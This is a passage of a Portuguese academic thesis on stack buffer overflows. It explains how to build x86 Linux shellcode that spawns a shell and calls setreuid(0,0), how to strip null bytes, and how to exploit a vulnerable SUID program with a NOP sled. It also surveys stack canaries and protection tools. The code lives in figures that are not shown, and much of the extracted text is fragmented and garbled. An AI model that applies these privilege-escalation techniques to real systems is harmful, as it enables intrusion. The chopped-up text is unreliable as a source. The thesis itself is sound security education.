jados. A sa

a figura 4.1

etos, sem m

igura 4.11: s

ter uma  saí

possível  calc

os deslocam

or legibilida

m trabalho re

do  comand

imprimir  a

ou  seja,  to

aída do com

12. É import

mencionar q

shellcode pa

ída mais el

cular o  tam

mentos de 

ade do códig

elativamen

do  “objdum

s  12  linha

odas  as  12

mando, no c

tante notar 

ue as instru

ara executa

egante do 

manho das 

endereços 

go, “quebra

te incômod

mp  ‐D  arqu

as  seguinte

2  linhas  de

caso do pro

que os opc

uções em As

ar o comand

shellcode, c

instruções 

em relação

a‐se” o arra

do, então um

ivo  |  grep 

es  à  prime

  endereços

ograma da 

codes já estã

ssembly são

do “/bin//sh

como  se po

diretament

o à  função 

ay a cada no

ma alternat

\<shellcod

eira  ocorrê

s  que  cont

figura 4.11

ão “quebra

o escritas ao

 

h”. 

ode observ

te pela  saíd

“main()”. A

ova instruçã

tiva interes

de\>  ‐A12”.

ência  da  s

têm  os  opc

1,  fica de ac

dos” nos lu

o lado. 

81 

var na 

da do 

Assim, 

ão em 

sante 

  Este 

string 

codes 

cordo 

gares 

Page 82: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

 

 

 

exec

pela 

 

 

Figura 4.1

Para ter 

utá‐lo e, en

figura 4.13

Fig

12: saída do

certeza de 

ntão, observ

gura 4.13: e

o comando 

que o shell

var o comp

execução do

“objdump” 

lcode foi co

portamento

o programa 

para o prog

onstruído co

 produzido

mostrado n

grama da fi

orretamente

, assim com

na figura 4.

igura 4.11. 

e, é interes

mo demons

 

11. 

82 

 

sante 

trado 

Page 83: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

83  

  Como se pode visualizar na figura 4.13, o shellcode funcionou perfeitamente. O 

PID24 do shell anterior, de acordo com a linha 3, era 30339. Quando o programa “shell” 

é executado, um novo shell é invocado, o que explica o PID distinto na linha 6. 

 

4.5 Shellcode para a syscall “sys_setreuid” 

 

  Em alguns casos, particularmente em programas vulneráveis que possuem o bit 

SUID25 configurado, pode‐se ser necessário utilizar a função “setreuid()” para definir o 

UID26 real e o efetivo do usuário, uma vez que, mesmo explorando um stack overflow, 

o kernel normalmente recupera corretamente as permissões anteriores. 

 

  Observando‐se a tabela de syscalls do kernel, percebe‐se que a “sys_setreuid” 

utiliza três registradores para seu funcionamento: EAX (contém o código da syscall, ou 

seja,  0x46),  EBX  (contém  o  UID  real)  e  ECX  (contém  o  UID  efetivo).  O  código  de 

máquina responsável por executar a syscall em questão está ilustrado na figura 4.14. 

 

                                                            24 Process ID (Identificador do Processo); 25 Permissão de arquivo especial de sistemas baseados em UNIX. Quando um usuário comum executa um binário em que o owner (dono)  é  o  root  (administrador),  por  exemplo,  a  execução  ocorre  transparentemente  como  se  o  usuário  fosse  o  próprio administrador, ou seja, há uma elevação temporária de privilégios; 26 User ID (Identificador do Usuário). 

Page 84: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

 

 

 

XOR 

o UI

prop

 

 

 

 

4.6 S

Figura 4

Na linha

entre um n

D  efetivo. 

priamente d

Já na figu

Fig

Shellcode 

4.14: código

 5, define‐s

número e el

Na  linha  7 

ita, na linha

ura 4.15, te

gura 4.15: o

unindo o

o de máquin

se 0 como s

le próprio, o

tem‐se  a  d

a 8. 

m‐se os opc

opcodes par

os três ant

na para exec

sendo o UID

o resultado 

definição d

codes extra

ra executar 

teriores 

cutar a funç

D real (se é 

é 0). Em se

a  syscall  e,

aídos pelo p

a função “s

 

ção “setreu

utilizada a 

eguida, na li

,  finalmente

programa “o

setreuid(0, 0

id(0, 0)”. 

operação l

inha 6, defi

e,  a  interru

objdump”. 

 

0)”. 

84 

ógica 

ne‐se 

upção 

Page 85: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

 

 

que c

funçã

proc

 

 

que 

figur

 

 

Em muit

correspond

ão  “execve

esso de ma

Para  con

se unam os

a 4.16 most

Figura 4

tos exploits 

de ao usuári

e(“/bin/sh”,

neira limpa

nstruir um 

s opcodes c

tra um prog

4.16: shellco

há a execu

io privilegia

,  [“/bin/sh”

a, tem‐se a c

shellcode ú

corresponde

grama já co

ode pronto p

ução da fun

do do siste

”,  NULL],  N

chamada da

único que  r

entes a cad

m o shellco

para ser usa

ção “setreu

ma. Em seg

NULL)”.  Fin

a função “e

ealiza as  tr

da função e

ode correspo

ado (união d

uid(0, 0)” pa

guida, tem‐s

nalmente,  p

xit(0)”. 

rês operaçõ

em uma seq

ondente em

dos três ant

ara definir o

se a chama

para  encer

ões acima, 

qüência  lóg

m um array.

 

teriores). 

85 

o UID 

da da 

rar  o 

basta 

ica. A 

Page 86: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

86  

4.7 Removendo os bytes nulos do shellcode final 

 

  Agora que se tem o shellcode pronto para executar os três comandos desejados 

nos  exploits  que  serão  demonstrados  no  próximo  capítulo,  deve‐se,  por  último, 

remover  os  bytes  nulos  (null  bytes)  do mesmo.  Esta  última  operação  é  necessária 

porque  normalmente  um  exploit  ataca  uma  função  de  cópia  de  strings  (função 

“strcpy()”, por exemplo), ou  seja, qualquer null byte no meio da  string  copiada  será 

considerado como o  fim da mesma, o que  impedirá o restante da cópia.  Isto destrói 

qualquer possibilidade de ataque. 

 

Para provar a teoria mencionada, é possível extrair a descrição de cada função 

elementar da  linguagem de programação C através do manual online do Linux  (Linux 

Programmer’s  Manual):  “The  strcpy()  function  copies  the  string  pointed  to  by  src 

(including the terminating `\0' character) to the array pointed to by dest.”. Ou seja, no 

caso da função citada e em muitas outras, um valor nulo (“\0”) é considerado o fim da 

string. 

 

Sendo assim, observando‐se a linha 7 da figura 4.16, observa‐se que a instrução 

correspondente  gera  3  null  bytes  (“\x00\x00\x00”).  Várias  instruções  em  Assembly 

geram  null  bytes  (há  outros  3  na  linha  27). No  caso  da  figura  citada,  os  null  bytes 

aparecem porque  são  feitas operações entre 32 e 8 bits, ou  seja, 24  ficam  faltando, 

fazendo  com  que  a  instrução  complete  o  restante  (3  bytes)  com  null  bytes.  Por 

Page 87: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

87  

exemplo, ainda na linha 7 da mesma figura, tem‐se a instrução “mov $0x46, %eax”. O 

primeiro operando – “$0x46” – é um dado de apenas 1 byte (ou 8 bits). Já o registrador 

EAX (segundo operando) possui o tamanho de 4 bytes (ou 32 bits), o que resulta em 

uma  diferença  de  3  bytes  (ou  24  bits).  É  daí  que  aparecem  os  três  null  bytes  do 

shellcode criado, pois a diferença é preenchida pela própria instrução. 

 

  É evidente que cada caso é um desafio em particular. Isto porque em algumas 

situações, não são somente os null bytes que são considerados dados problemáticos. 

Por  exemplo,  em  uma  vulnerabilidade  específica,  talvez  não  seja  possível  utilizar  o 

caractere “/”  (devido algum  filtro) no shellcode, o que  impossibilitaria a execução de 

um shell através da técnica descrita neste trabalho. Um exemplo clássico é o servidor 

IMAP padrão do Linux Slackware 11. Todo comando repassado ao serviço é convertido 

em caracteres maiúsculos, então  isto deve ser  levado em consideração no projeto do 

shellcode, uma vez que se executando “/BIN/SH” não surtiria o efeito desejado, já que 

o Linux diferencia maiúsculas de minúsculas. Em outras palavras, o shell obviamente 

não seria executado, pois tal caminho e comando não existem. 

 

  O shellcode da figura 4.16 corrigido ficará exatamente  igual como o mostrado 

pela figura 4.17. 

 

Page 88: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

 

 

 

entre

mesm

o  re

trans

faz  p

oper

não h

A correç

e 32 e 8 bit

ma quantid

gistrador  E

sparenteme

parte  do  EA

randos das 

há diferenç

Figur

ão do shellc

ts, nas  linha

ade de bits

EAX  por  AL

ente, uma v

AX  (como 

instruções 

a a ser com

ra 4.17: she

code foi sim

as 7 e 27, b

s, ou seja, e

L  em  amba

vez que o re

explicado  n

são de 8 bi

mpletada pe

llcode final 

mples. Como

bastou conv

entre 8 e 8. 

as  as  linha

egistrador A

no  capítulo

its, não há 

lo processa

(sem null b

o anteriorm

verter as  in

Para alcanç

as.  Tal  alte

AL é uma u

o  2  deste  t

a geração 

dor. 

bytes). 

mente havia

nstruções e

çar este ob

ração  é  po

nidade dist

trabalho).  C

de null byte

 

 duas opera

m operaçõ

jetivo, se tr

ossível  e  o

tinta, porém

Como  ambo

es, uma vez

88 

ações 

es de 

rocou 

ocorre 

m que 

os  os 

z que 

Page 89: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

89  

5 EXPLORANDO 

 

  Neste  capítulo,  apresenta‐se  um  exploit  funcional  para  uma  vulnerabilidade 

simples. Um  segundo exploit  (para uma vulnerabilidade  remota  real) está disponível 

nos apêndices deste trabalho. 

 

5.1 Falha real em um binário com bit SUID configurado 

 

  O  código  exposto  na  figura  5.1  toma  uma  string  como  argumento  e 

simplesmente a converte em  letras maiúsculas. No entanto, na  linha 19,  faz‐se uma 

cópia da string a ser manipulada para um buffer  (que só pode armazenar 256 bytes, 

conforme declarado na linha 11). 

 

Page 90: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

 

 

 

capít

 

Fig

 

Figura

Para  cria

tulos anteri

gura 5.2: com

a 5.1: progra

ar  um  cen

ores, assum

mpilação e 

ama que co

nário  a  fim

mem‐se os c

definição d

onverte uma

  de  testar 

comandos d

do bit SUID d

a string em 

os  conhec

da figura 5.2

do program

letras maiú

cimentos  a

2. 

ma mostrado

 

úsculas. 

adquiridos 

o na figura 5

90 

pelos 

 

5.1. 

Page 91: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

 

 

sobre

 

Figu

 

 

falha

como

some

bytes

o val

utiliz

Primeira

escrever o S

ura 5.3: dete

RET (

Analisan

a.  Incremen

o  argument

ente outros

s sobrescre

or 0x61 é a

zado para a

mente  é 

SEBP e o RE

erminando 

(a figura foi

do a figura

ntando  a  q

to  para  o  p

s 4 bytes pa

eve‐se ambo

a representa

a  função “ru

necessário 

ET. Isto é de

quantos by

i cortada em

 5.3, observ

uantidade 

programa, 

ra sobrescr

os os regist

ação hexad

un” do GDB

determina

emonstrado

ytes são nec

m seu lado d

va‐se que c

de  bytes  e

todo  o  reg

rever o RET

radores com

ecimal do c

B  (linhas 1 

ar  quantos 

o na figura 5

cessários pa

direito para

om 280 byt

m  4,  ou  se

gistrador  SE

. Sendo ass

m sucesso. 

caractere “a

e 10) é, na

bytes  são

5.3. 

ara sobrescr

a poupar esp

tes não há a

eja,  inserind

EBP  é  sobre

im, conclui‐

É importan

a”. Além dis

a verdade, u

o  precisos 

rever o SEBP

paço). 

a reproduçã

do‐se  284 

escrito,  falt

‐se que com

nte ressalta

sto, o argum

um comand

91 

para 

 

P e o 

ão da 

bytes 

tando 

m 288 

r que 

mento 

do do 

Page 92: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

92  

interpretador  Perl  capaz  de  imprimir  uma  string  tantas  vezes  quanto  definido.  Isto 

serve somente para agilizar o processo de inserção de strings. 

 

  Como a vulnerabilidade contida no código da  figura 5.1 é  simples, a primeira 

versão de um exploit foi rapidamente criada, sendo retratada pela figura 5.4. 

 

Page 93: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

 

 

 

amb

dem

se fo

Figura

Porém, 

iente  de  e

onstração d

osse desejad

 5.4: primei

como  nota

estudo  par

do exploit o

do executar

ira versão d

a‐se  na  figu

a  exemplif

ocorre dent

r código arb

do exploit pa

ura  5.4,  há

ficar  uma 

ro do própr

bitrário nes

ara o progra

á  um  prob

falha,  com

rio program

te caso, o e

ama da figu

lema.  Qua

mo  feito  no

ma vulneráv

endereço do

 

ura 5.1. 

ndo  se  cria

o  capítulo 

vel. Sendo a

o shellcode

93 

a  um 

3,  a 

assim, 

seria 

Page 94: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

94  

facilmente  conhecido,  uma  vez  que  ele  estaria  na  mesma  área  de  endereços  do 

processo  vulnerável.  No  caso  da  figura  5.4,  a  situação  é  muito  distinta,  sendo 

exatamente por este motivo que o endereço do shellcode está faltando (linha 39). Há 

um programa vulnerável e, separadamente em outro programa, há o exploit. 

 

  Para obter sucesso na exploração da  falha, deve‐se, primeiramente, descobrir 

em qual endereço de memória o shellcode está contido. A técnica mais comum, porém 

longe de ser a mais eficiente, é demonstrada na seção seguinte. 

 

5.1.1 Descobrindo o endereço de memória do shellcode 

 

  A maneira mais disseminada para atingir  tal objetivo é  inserir o  shellcode no 

buffer  a  ser  sobrecarregado  e  sobrescrever  o  RET  de maneira  que  ele  aponte  para 

dentro do próprio buffer. Isto é representado graficamente pela figura 5.5. 

 

Page 95: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

 

 

 

adici

nece

natu

 

 

inicia

são p

seria

chan

qualq

NOP 

          27 Instru

Fig

Como se

onais  para

essário (já q

ral do prog

Consider

a é muito d

preenchidos

a  necessário

nces quanto

quer NOP d

serão  “exe

                     ução nula. Utiliza

gura 5.5: re

e repara na 

a  alocar  o 

ue a idéia é

rama vulne

rando que 

ifícil, criou‐

s com uma 

o  adivinhar

o o número 

do buffer, o

ecutadas”, 

                      ada normalmente

epresentaçã

figura 5.5, 

shellcode, 

é executar u

rável). 

descobrir o

‐se uma téc

seqüência 

r  apenas  1 

de instruçõ

o shellcode

chegando, 

       e para gerar atras

ão gráfica d

pode‐se, ai

uma  vez 

um shell int

o endereço

cnica onde t

de instruçõ

endereço 

ões NOP con

será execu

por  fim,  n

sos na execução d

da técnica a 

nda, utiliza

que  tal  r

terativo, fug

o de memó

todos os by

ões NOP27. A

entre milh

ntidas no bu

utado, pois,

no  código.  C

de algum código.

ser estudad

r o SEBP pa

registrador 

gindo do flu

ria exato o

ytes anterio

A idéia é sim

ares,  agora

uffer. Se o R

 antes,  tod

Concretizan

 

da. 

ara obter 4 

não  será 

uxo de exec

onde o  shel

ores ao shel

mples: se, a

a,  tem‐se  t

RET apontar

das as  instru

ndo  a  teori

95 

bytes 

mais 

cução 

llcode 

llcode 

antes, 

antas 

r para 

uções 

a  em 

Page 96: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

 

núm

(figu

NOP

 

F

 

 

mem

isto 

maio

na p

muit

do p

eros,  se o 

ra 5.4), tem

. A represen

Figura 5.6: r

Mesmo 

mória do she

é  que  a  pi

oria dos pro

ilha de um

o mais fácil

rograma, ut

buffer a  se

m‐se uma q

ntação gráf

representaç

através  de

ellcode con

lha  inicia  n

ogramas não

a única vez

l tentar des

tiliza‐se a fu

er estourad

uantidade d

ica dessa te

ção gráfica 

e  certas  m

ntinua uma 

no mesmo 

o insere ma

z. Assim, sa

scobrir o en

unção most

o possui 25

de 217 byte

eoria está ex

da técnica a

melhorias  n

tarefa prat

endereço  d

ais do que a

abendo‐se o

dereço do b

trada na figu

56 bytes  (fi

es  livres pa

xposta na fi

a ser estuda

a  técnica, 

ticamente  i

de memóri

algumas cen

o endereço

buffer vulne

ura 5.7. 

igura 5.1) e

ra a  inserçã

igura 5.6. 

ada, agora 

descobrir 

mpossível. 

a  para  qua

ntenas ou m

o no qual a 

erável. Para

e o  shellcod

ão de  instru

 

aprimorada

o  endereç

A resposta

alquer  funçã

milhares de 

pilha  inicia

a descobrir 

96 

de 39 

uções 

a. 

ço  de 

 para 

ão.  A 

bytes 

a,  fica 

o ESP 

Page 97: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

 

 

 

apên

prati

pode

 

Fig

O exploit

ndices  do  tr

camente d

e ser observ

Figura

gura 5.7: fu

t final, capa

rabalho. Nã

obrou em r

vada na figu

a 5.8: parte 

unção para 

az de explor

ão  foi  poss

relação à p

ura 5.8. 

da saída pr

retornar o e

rar a falha d

ível  inseri‐l

rimeira ver

roduzida pe

endereço co

da figura 5.

lo  neste  es

rsão. Parte 

la segunda 

ontido no ES

1, está cont

paço  porqu

da saída pr

versão do e

 

SP. 

tido na seçã

ue  seu  tam

roduzida po

 

exploit. 

97 

ão de 

manho 

or ele 

Page 98: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

98  

  É  importante  ressaltar que os  três pontos verticais na  figura 5.8  indicam que 

várias tentativas foram realizadas a fim de se encontrar o offset correto. Como citado 

anteriormente,  este  método  está  longe  de  ser  o  mais  eficiente,  porém,  de  fato, 

funciona. Para automatizar o processo de descoberta dos endereços, pode‐se criar um 

segundo programa que teste exaustivamente vários offsets seqüenciais. Isto pode ser 

chamado de brute force search28. 

                                                            28 Pesquisa por força bruta. Consiste em testar várias soluções para determinado problema a fim de encontrar uma ou mais que satisfaçam determinada condição. 

Page 99: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

99  

6 TECNOLOGIAS DE PROTEÇÃO 

 

6.1 Curingas 

 

  Tipicamente,  tecnologias  de  proteção  contra  stack  overflows  modificam  a 

organização dos dados nas locações da pilha criada, inserindo um valor “curinga” que, 

quando destruído,  indica que um buffer precedente na memória  foi sobrecarregado. 

Esta abordagem possibilita a prevenção de uma classe inteira de ataques, sendo que o 

desempenho perdido através do uso dessa técnica é desprezível. 

 

  Curingas são dados conhecidos que são inseridos entre um buffer e os dados de 

controle da pilha a  fim de monitorar  stack overflows. Quando um estouro ocorre, o 

primeiro dado a ser corrompido é o curinga. A verificação deste curinga, por sua vez, 

irá  falhar, uma vez que o buffer excedeu  seu  tamanho máximo, gerando, assim, um 

alerta  de  stack  overflow.  Este  alerta,  então,  pode  ser  tratado  de  alguma maneira 

específica, como, por exemplo, invalidando os dados corrompidos. 

 

6.1.1 Curingas terminais 

 

Page 100: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

100  

  Baseiam‐se  na  observação  de  que  a  maioria  dos  stack  overflows  utiliza 

determinadas operações de  strings que  terminam em dados especiais. Sendo assim, 

curingas  terminais normalmente  finalizam em NULL, “\r”, “\n” e “‐1”. O ponto  fraco 

desta abordagem é que o curinga é conhecido, o que dá brecha para potencialmente 

sobrescrever o curinga e controlar a informação na pilha, só sendo necessário, depois, 

corrigir o exploit p ara utilizar um buffer menor a fim de não violar a proteção. 

 

6.1.2 Curingas aleatórios 

 

  São  curingas  utilizados  de  maneira  completamente  aleatória.  São  obtidos, 

normalmente,  através  de  um  serviço  específico  para  a  geração  aleatória  de  dados, 

como  o  dispositivo  “/dev/random”  do  Linux.  Em  condições  normais,  não  há  a 

possibilidade de identificar o curinga a fim de se explorar alguma falha específica. 

 

  Normalmente,  um  curinga  aleatório  é  gerado  na  inicialização  do  programa 

protegido,  sendo  salvo  em  uma  variável  global.  A  variável  normalmente  é  ajustada 

para uma área de memória não mapeada pelo processo, então qualquer tentativa de 

lê‐la resultará em uma falha de segmentação, encerrando o programa imediatamente. 

Existe a possibilidade de  ler o curinga  se o hacker  souber exatamente onde ele está 

mapeado ou, então, se  implementar alguma técnica que faça o programa  ler a partir 

da pilha. 

Page 101: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

101  

6.1.3 Curingas aleatórios codificados 

 

  Possui a mesma analogia de  curingas aleatórios  comuns, exceto pelo  fato de 

que são misturados com a instrução XOR usando toda ou parte dos dados de controle 

da pilha. Desta maneira, se o curinga ou os dados de controle  forem sobrescritos, o 

curinga  estará  errado,  gerando  um  alerta.  Esta  abordagem  possui  as  mesmas 

vulnerabilidades  de  curingas  aleatórios  comuns,  porém  a  técnica  para  se  fazer  com 

que o programa leia diretamente a partir da pilha é relativamente mais complicada. O 

hacker precisa descobrir o curinga, o algoritmo e os dados de controle da pilha para, 

assim, gerar os curingas originais exatamente nos pontos em que eles foram inseridos. 

 

6.2 Implementações 

 

  Abaixo,  são  citados  alguns  softwares  que  implementam  uma  ou  mais 

tecnologias descritas na seção anterior. 

 

• grsecurity29 

• PaX30 

• StackGuard 

                                                            29 http://www.grsecurity.net/; 30 http://pax.grsecurity.net/; 

Page 102: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

102  

• ProPolice31 

• StackGhost32 

                                                            31 http://www.trl.ibm.com/projects/security/ssp/; 32 http://projects.cerias.purdue.edu/stackghost/ 

Page 103: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

103  

7 CONCLUSÃO 

 

  Através  do  término  do  presente  estudo,  evidencia‐se  que  organizações  de 

pequeno  até  grande  porte  estão  sujeitas  às  vulnerabilidades  apresentadas, 

particularmente  os  stack  overflows.  Embora  exista  um  crescente  investimento  na 

adoção de modelos supostamente seguros de desenvolvimento de software, sabe‐se 

que a falha humana é um fator latente em qualquer processo manual, podendo, assim, 

minimizar ou anular qualquer tentativa de melhoria na produção. 

 

  Stack overflows  são  relativamente  fáceis de explorar, com  raras exceções em 

cenários muito específicos. Um hacker pode tomar o controle do fluxo de execução de 

um  programa  e  fazê‐lo  agir  de  uma maneira muito  distinta  da  qual  foi  projetada, 

executando  funções privilegiadas do próprio  código ou, então,  chamando  comandos 

diretamente no sistema operacional no qual o software está contido. 

 

  Além disso, se um software é vulnerável, porém não há uma maneira viável de 

explorá‐la  na  realidade,  o  hacker  pode,  ainda,  fazê‐lo  parar  de  responder  total  ou 

parcialmente através de um ataque DoS. Se um ataque de tal tipo é realizado em um 

servidor de um sistema importante (a um dos servidores da BOVESPA, por exemplo), o 

impacto pode ser facilmente mensurado em enormes perdas financeiras, uma vez que 

afetará uma organização que deve  ficar online sem  interrupções num período crítico 

de tempo. 

Page 104: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

104  

  Finalmente,  percebe‐se  que  existem  diversos  softwares  auxiliares  para 

proteção contra os  tipos de vulnerabilidade de código citados, porém nenhum deles 

permanece infalível por muito tempo, uma vez que hackers sempre encontram falhas 

de projeto e, assim, desenvolvem caminhos alternativos, obviamente não protegidos 

pelos softwares em questão. 

 

  A  solução  ideal,  então,  é  óbvia,  ou  seja,  a  cuidadosa  auditoria  do  código 

produzido,  realizada por  terceiros, uma  vez que  a  verificação de um  software pelos 

próprios  autores  é  “viciada”  (as  falhas  normalmente  passam  despercebidas).  Para 

identificar possíveis problemas no código, este estudo sugere que primeiramente seja 

feita  uma  varredura  automatizada  através  de  uma  ferramenta  específica. Depois,  o 

código  deve  ser  submetido  a  uma  auditoria  humana,  sendo  que  as  pessoas 

responsáveis  por  isto  devem  ser  peritas  em  tal  tipo  de  análise.  Em  uma  camada 

superior, para reforçar ainda mais a segurança de um sistema computacional, pode‐se 

utilizar  uma  ou  mais  tecnologias  de  proteção,  sendo,  esta,  a  última  instância 

responsável por conter um ataque. 

Page 105: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

105  

8 SUGESTÕES PARA TRABALHOS FUTUROS 

 

• Estudar  detalhadamente  todo  o  contexto  envolvido  nos  outros  tipos  de 

vulnerabilidade de código citados  (heap overflows,  integer overflows e  format 

strings); 

 

• Coletar informações precisas, citando pontos fortes e fracos, sobre tecnologias 

de  proteção  contra  vulnerabilidades  de  código,  além  de  detalhar  e/ou 

desenvolver ferramentas de auditoria automática para as falhas humanas mais 

comuns; 

 

• Interpretar  modelos  de  desenvolvimento  de  software  a  fim  de  identificar 

possíveis  falhas  quanto  a  verificação  da  segurança  do  código  produzido, 

excluindo, modificando e inserindo novas regras quando necessário. 

Page 106: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

106  

REFERÊNCIAS BIBLIOGRÁFICAS 

 

CONOVER, Matt. W00w00 On Heap Overflows. Disponível em: 

<http://www.w00w00.org/files/articles/heaptut.txt>. Acesso em: 29 out. 2007. 

 

FOSTER, James; LIU, Vincent. Writing Security Tools And Exploits. Rockland: Syngress 

Publishing, 2006. 

 

GERA; RIQ. Advances In Format String Exploitation. Disponível em: 

<http://www.phrack.org/issues.html?issue=59&id=7#article>. Acesso em: 29 out. 

2007. 

 

HENNESSY, John; PATTERSON, David. Computer Architecture: A Quantitative 

Approach. 2nd San Francisco: Morgan Kaufmann, 1996. 

 

INTEL. IA‐32 Intel Architecture Software Developer: Basic Architecture. [n/a], 2003. 3 

v. 

 

Page 107: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

107  

INTEL. IA‐32 Intel Architecture Software Developer: Instruction Set Reference. [n/a], 

2003. 3 v. 

 

INTEL. IA‐32 Intel Architecture Software Developer: System Programming Guide. 

[n/a], 2003. 3 v. 

 

KAEMPF, Michel. Smashing The Heap For Fun And Profit. Disponível em: 

<http://doc.bughunter.net/buffer‐overflow/heap‐corruption.html>. Acesso em: 29 

out. 2007. 

 

KOZIOL, Jack et al. The Shellcoder's Handbook: Discovering And Exploiting Security 

Holes. Indianapolis: Wiley Publishing, 2004. 

 

MCDOUGALL, Steven. Limitations Of The IBM PC Architecture. Disponível em: 

<http://world.std.com/~swmcd/steven/rants/pc.html>. Acesso em: 29 out. 2007. 

 

MIKHALENKO, Peter. How Shellcodes Work. Disponível em: 

<http://www.linuxdevcenter.com/pub/a/linux/2006/05/18/how‐shellcodes‐

work.html>. Acesso em: 29 out. 2007. 

 

Page 108: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

108  

MONOGRAFIA.NET. Regras da ABNT. Disponível em: 

<http://www.monografia.net/abnt/index.htm>. Acesso em: 29 out. 2007. 

 

MURAT. Buffer Overflows Demystified. Disponível em: 

<http://www.enderunix.org/docs/eng/bof‐eng.txt>. Acesso em: 29 out. 2007. 

 

MURAT. Designing Shellcode Demystified. Disponível em: 

<http://www.enderunix.org/docs/eng/sc‐en.txt>. Acesso em: 29 out. 2007. 

 

ONE, Aleph. Smashing The Stack For Fun And Profit. Disponível em: 

<http://www.phrack.org/issues.html?issue=49&id=14#article>. Acesso em: 29 out. 

2007. 

 

PC UNDERGROUND. Assembly Language: The True Language Of Programmers. [n/a]: 

[n/a], [n/a]. 

 

SANTOS, Jeremias Pereira Dos; RAYMUNDI JÚNIOR, Edison. Programando Em 

Assembler 8086/8088. Itaim Bibi: Mcgraw‐hill, 1989. 

 

Page 109: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

109  

SCUT. Exploiting Format String Vulnerabilities. Disponível em: 

<http://doc.bughunter.net/format‐string/exploit‐fs.html>. Acesso em: 29 out. 2007. 

 

SHAH, Saumil. Writing Metasploit Plugins: From Vulnerability To Exploit. Disponível 

em: <http://conference.hitb.org/hitbsecconf2006kl/materials/DAY%201%20‐

%20Saumil%20Shah%20‐%20Writing%20Metasploit%20Plugins.pdf>. Acesso em: 29 

out. 2007. 

 

TANENBAUM, Andrew. Sistemas Operacionais Modernos. 2. ed. [n/d]: Pearson, 2003. 

 

WIKIPEDIA. Orders Of Magnitude (Data). Disponível em: 

<http://en.wikipedia.org/wiki/Orders_of_magnitude_%28data%29>. Acesso em: 29 

out. 2007. 

 

WIKIPEDIA. Stack‐Smashing Protection. Disponível em: 

<http://en.wikipedia.org/wiki/Stack_Protection>. Acesso em: 29 out. 2007. 

 

WIKIPEDIA. X86 Architecture. Disponível em: 

